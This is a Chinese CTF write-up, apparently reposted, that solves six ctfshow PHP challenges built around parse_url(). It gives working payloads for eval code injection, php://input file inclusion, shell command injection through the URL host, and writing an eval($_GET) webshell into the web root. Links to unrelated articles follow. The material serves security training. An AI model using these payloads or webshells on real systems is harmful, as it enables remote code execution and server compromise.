ctfshow周末大挑战2023/5/12

本周周末大挑战用到的函数讲解

parse_url()

作用:解析URL,返回其组成部分

语法:
parse_url ( string $url [, int $component = -1 ] )
参数:
url:要解析的 URL。无效字符将使用 _ 来替换。

component:
指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

例如:

<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果--------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => host
    [user] => user
    [pass] => pass
    [path] => /path
    [query] => args=value
    [fragment] => anch
)
	/path

extract()

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法:extract(array,extract_rules,prefix)

例如:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
结果-------------------------------------------------------------------
$a = Cat; $b = Dog; $c = Horse

file_put_contents()

file_put_contents() 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法:file_put_contents(file,data,mode,context)
参数:
file:必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。

data:可选。规定要写入文件的数据。可以是字符串、数组或数据流。

mode:可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX

context:可选。规定文件句柄的环境。context是一套可以修改流的行为的选项。若使用null,则忽略。

题目讲解及write up

第一关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

首先,我们分许源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后将data数组中的host的值将他转化为php代码(eval()的作用,可以将字符串转换为php代码)。

OK我们的思路就是在url中host部分写成我们可以进行代码执行的恶意代码。
我们先写一个phpinfo();测试一下。

?u=http://phpinfo();

在这里插入图片描述
成功输出phpinfo。

接下来我们就开始进行代码执行。
我们会发现,我们直接使用system(‘ls /’);来查看根目录是不可行的,因为url中包含的有“/”这个斜杠符号,我们前面已经写过host内容,我们在写出“/”,那么斜杠后的“');”这些东西就会被认为是url 中 path 里的东西了,所以我们得换种思路。

新思路是:我们在源代码的基础上,再使用一次eval()函数进行代码执行,只不过这次我们将传参方式改为POST传参,因为parse_url函数只对GET传参起作用。

GET传参
?u=http://eval($_POST[w]);

POST传参
w=system('ls /');

在这里插入图片描述
找到flag直接cat读取。

GET传参
?u=http://eval($_POST[w]);

POST传参
w=system('cat /flag_is_here.txt');

在这里插入图片描述
成功拿到flag。

第二关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中host的值与path的值拼接的结果进行文件包含。

首先我们要明白一点,文件包含,我们就得使用伪协议进行命令执行或者代码执行来找到flag文件在哪,然后才能读取。但是如果我们按照正常的url格式进行传参的话,就比如u=http://host/flag,那么我们的path是一定会带有“/”这个符号的。所以我们就得使用非正常方法。

这里有一个小tips:就是当我们输入?u=http:php://这个字符串的时候,
我们的path是“php://”这个字符串的,而且host是为空的。

所以我们就可以使用php://伪协议中的php://input来实现代码执行,进而执行命令。(由于我的hackbar的问题,我是在bp上进行的)

GET传参
?u=http:php://input

POST传参
<?php phpinfo();?>

在这里插入图片描述
可以看到成功的输出了phpinfo的内容。

接下来就是看在根目录中找到flag文件进行读取。

GET传参
?u=http:php://input

POST传参
<?php system('cat /_f1ag_1s_h3re.txt');?>

在这里插入图片描述
成功拿到flag。

第三关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中scheme(协议名称)的值与path的值拼接的结果进行文件包含

本道题目跟上道题目的思路是一样的,还是利用php://伪协议进行文件包含,只不过host变成了scheme(协议名称)。

这里还是一个小tips:就是当我们输入?u=http:://123这个字符串的时候,
我们的path是“://123”这个字符串的,scheme是“http”,
他们俩拼接在一起就是“http://123”。
我们要使用php://input伪协议,只需将http改为php,将://123改为://input即可。
GET传参
?u==php:://input

POST传参
<?php phpinfo();?>

在这里插入图片描述
也是成功的输出了phpinfo的信息。

接下来就是在根目录找到flag进行读取了。

GET传参
?u==php:://input

POST传参
<?php system('cat /_f1a_g_1s_h3re');?>

在这里插入图片描述
成功拿到flag。

第四关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

首先我们还是先来分析一波代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用system()函数将data数组中host的值作为命令进行命令执行。

这里需要注意的是,我们不能直接使用“u=http://ls /”来作为payload,因为ls / 中的斜杠,会被parse_url函数当作path中的内容,这样我们还是在原来的目录中进行ls。

这时我们应该怎么办呢?
我们可以尝试先执行一个pwd,然后再重新执行cd …;pwd 试一下。

?u=http://pwd;cd ..;pwd

在这里插入图片描述
我们可以看到,我们使用cd切换目录之后,两次的pwd执行结果不同,代表我们切换目录成功,那么我们就可以使用cd …;cd …;cd …;一直切换到根目录,然后进行找寻flag进行读取了。

?u=http://cd ..;cd ..;cd ..;cat 1_f1ag_1s_h3re

在这里插入图片描述
成功拿到flag。

第五关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。

这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。

payload:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php phpinfo();?>

这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input

这样我们在进行post传参执行php代码,就可以使用php://input进行文件包含执行php代码了。

在这里插入图片描述
成功输出了phpinfo的信息,接下来就是在根目录中找flag文件进行读取。

payload:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php system('cat /_f1ag_1s_h3ree');?>

在这里插入图片描述
成功拿到flag。

第六关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

首先还是分析源代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用file_put_contents()函数来将data数组中host的值作为内容写进data数组中path的值为文件名的文件中。

这里经过测试发现,host中?与php不能和<>紧挨着出现,那么传统的php文件内容形式是采取不了了。

我们就是用html文件中的< script language=‘php’>标签来实现php的代码。这里记住,只需写一个< script>,不需要写< /scirpt>,因为/还会被parse_url函数当作path中的内容。
由于正常的url中,path自带 / ,我们将path写成/var/www/html/a.php,这样我们的host中的内容就会被写到网站根目录中a.php中。

payload:

?u=http://<script language='php'>phpinfo();/var/www/html/a.php

$data['host']=<script language='php'>phpinfo();
$data['path']=/var/www/html/a.php

我们去访问a.php。
在这里插入图片描述
a.php显示出来phpinfo的信息,接下来我们将内容改为能够代码执行的php代码即可。

?u=http://<script language='php'>eval($_GET[w]);/var/www/html/a.php

然后去访问a.php。并且传参w=system(‘ls /’);即可列出根目录的内容。

a.php?w=system('ls /');

在这里插入图片描述
读取flag。

a.php?w=system('cat /_f1a_g_1s_h3re');

在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/20603.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

软件测试月薪2万,需要技术达到什么水平?

最近跟朋友在一起聚会的时候&#xff0c;提了一个问题&#xff0c;说一个软件测试工程师如何能月薪达到二万&#xff0c;技术水平需要达到什么程度&#xff1f;人回答说这只能是大企业或者互联网企业工程师才能拿到。也许是的&#xff0c;小公司或者非互联网企业拿二万的不太可…

Threejs进阶之十四:在uniapp中使用threejs创建三维图形

在uniapp中使用threejs 一、uni-app介绍二、新建uni-app项目三、安装three.js库四、在vue组件中引入three.js库五、创建场景(Scene)和相机(Camera)六、创建渲染器(Renderer)七、创建物体和灯光八、渲染场景(Scene)九、运行测试核心代码 一、uni-app介绍 uni-app是一个基于Vue.…

sqlserver 中的表值函数和标量函数

目录 一、表值函数 1.内联表值函数 1.创建函数 2.调用函数 3.返回结果 2.多语句的表值函数 2.调用函数 3.返回结果 3.内联表值函数和多语句的表值函数的区别 1.语法上 2.结构上 二、标量函数 1.创建函数 2.调用函数 2.返回结果 总结 一、表值函数 表值函数是返回一个Table类型…

如何使用jmeter进行压测

1.概述 一款工具&#xff0c;功能往往是很多的&#xff0c;细枝末节的地方也很多&#xff0c;实际的测试工作中&#xff0c;绝大多数场景会用到的也就是一些核心功能&#xff0c;根本不需要我们事无巨细的去掌握工具的所有功能。所以本文将用带价最小的方式讲解如何快速上手使用…

centos7.5离线安装部署TiDB-6.5.0分布式系统

centos7.5离线安装部署TiDB-6.5.0分布式系统 一、需求&#xff0c;为什么要部署TiDB-6.5.0分布式系统 当前绝大部分企业的业务数据都分散在不同的系统中&#xff0c;没有一个统一的汇总&#xff0c;随着业务的发展&#xff0c;企业的决策层需要了解整个公司的业务状况以便及时…

【Linux Network】应用层协议——HTTP

目录 1. 认识URL 2. urlencode和urldecode urlencode例子&#xff1a; urldecode例子&#xff1a; 3. HTTP协议格式 3.1 HTTP请求&#xff1a; 3.2 HTTP响应&#xff1a; 3.3 HTTP的方法&#xff1a; 3.4 GET方法和POST方法的区别 3.5 HTTP的状态码&#xff1a; 3.6 HTTP常见He…

Buf 教程 - 使用 Protobuf 生成 Golang 代码和 Typescript 类型定义

简介 Buf 是一款更高效、开发者友好的 Protobuf API 管理工具&#xff0c;不仅支持代码生成&#xff0c;还支持插件和 Protobuf 格式化。 我们可以使用 Buf 替代原本基于 Protoc 的代码生成流程&#xff0c;一方面可以统一管理团队 Protoc 插件的版本、代码生成配置&#xff…

QT的qrc文件的创建和编辑

qrc文件&#xff0c;这个是Qt的资源文件&#xff0c;如果在pro文件中不包含的话&#xff0c;在编译的时候会提示找不到相应资源的错误&#xff1b;下面说一下手动修改pro和编写qrc文件的方法: 2.1 添加qrc文件&#xff1b; 2.2 编写qrc文件&#xff1b; 可以用 file…

Linux_证书_Openssl工具详解

文章目录 OpenSSLopenssl实现对称加密openssl生成密钥对、非对称加密、数字签名根据CA颁布证书生成ca私钥和ca证书根据ca生成证书 小结 OpenSSL OpenSSL 是一个开源项目&#xff0c;其组成主要包括一下三个组件&#xff1a; openssl&#xff1a;多用途的命令行工具 libcrypt…

AR VR 到底哪种技术可以改变未来?

随着科技的不断进步&#xff0c;虚拟现实&#xff08;VR&#xff09;和增强现实&#xff08;AR&#xff09;技术已经成为了当今科技领域的热门话题。VR和AR的出现&#xff0c;为人们带来了前所未有的体验和感受&#xff0c;也为各行各业的发展提供了新的机遇。但是&#xff0c;…

clang-format configurator - 交互式创建 clang-format 格式配置文件

clang-format configurator - 交互式创建 clang-format 格式配置文件 clang-format configurator https://zed0.co.uk/clang-format-configurator/ clang-format-configurator https://github.com/zed0/clang-format-configurator Interactively create a clang-format confi…

ANR基础篇 - Trace.txt文件分析

系列文章目录 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 例如&#xff1a;第一章 Python 机器学习入门之pandas的使用 文章目录 系列文章目录前言一、trace.txt文件示例二、日志分析2.1 CPU 负载2.2 内存信息2.3 堆栈信息schedst…

裸辞5个月,面试了37家公司,终于.....

上半年裁员&#xff0c;下半年裸辞&#xff0c;有不少人高呼裸辞后躺平真的好快乐&#xff01;但也有很多人&#xff0c;裸辞后的生活五味杂陈。 面试37次终于找到心仪工作 因为工作压力大、领导PUA等各种原因&#xff0c;今年2月下旬我从一家互联网小厂裸辞&#xff0c;没想…

学习Se-net和Sk-net 附网络简单代码(pytorch)

&#xff08;一&#xff09;Se-net的原理和思路     Se-net严格来说是一个小结构&#xff0c;它可以直接插入已有的网络结构中&#xff0c;帮助原有结构获得更好的效果&#xff0c;如插入Resnet网络中。 Se-net的整个流程如下&#xff1a;     &#xff08;1&#xf…

Cisco 产品下载链接汇总 2023 持续更新中

Cisco 产品链接汇总 2023 持续更新中 IOS-XE, IOS-XR, NX-OS & FXOS based on linux kernel 请访问原文链接&#xff1a;https://sysin.org/blog/cisco/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 本站 Cisco 产品汇…

Java是如何实现双亲委托机制的

Java 是一种面向对象的编程语言&#xff0c;它有一套独特的类加载机制。其中&#xff0c;双亲委托加载机制是 Java 类加载机制中的一个重要概念。本文将介绍 Java 的双亲委托加载机制是如何实现的&#xff0c;并解释其作用和优点。 Java 类加载机制 在 Java 中&#xff0c;类的…

ADAS/AD笔记之特斯拉Autopilot-HW3.0系统

摘要&#xff1a; 目前国内一般直接将高速NOA成为“L2”&#xff1b;因此&#xff0c;复杂度更高的城区NOA&#xff0c;就自然的映射到了“L2”。 一、概述&#xff1a; 特斯拉Autopilot系统首创了NOA这种淡化脱手/脱眼/脱脑&#xff08;驾驶自动化程度&#xff09;逻辑的功能…

基础知识(王爽老师书第一章)

文章目录 基础知识1.1 引言1.2 机器语言1.2 引言汇编语言的产生1.3 汇编语言的组成1.4 存储器1.5 指令和数据1.6 存储单元1.7 CPU对存储器的读写1.8 地址总线1.9 数据总线1.10 控制总线小结检测点1.11.11 内存地址空间1.12 主板1.13 接口卡1.14 各类存储器芯片1.15 内存地址空间…

新版android studio gradle插件7.4.2.pom一直无法下载问题

android studio同步时候出现org.gradle.api.plugins.UnknownPluginException&#xff0c;Plugin [id: com.android.application, version: 7.4.2] was not found in any of the following sources: pom插件一直无法下载&#xff0c;搞了好几天&#xff0c;简直想砸电脑&#x…

java版企业电子招投标系统源代码之了解电子招标投标全流程

随着各级政府部门的大力推进&#xff0c;以及国内互联网的建设&#xff0c;电子招投标已经逐渐成为国内主流的招标投标方式&#xff0c;但是依然有很多人对电子招投标的流程不够了解&#xff0c;在具体操作上存在困难。虽然各个交易平台的招标投标在线操作会略有不同&#xff0…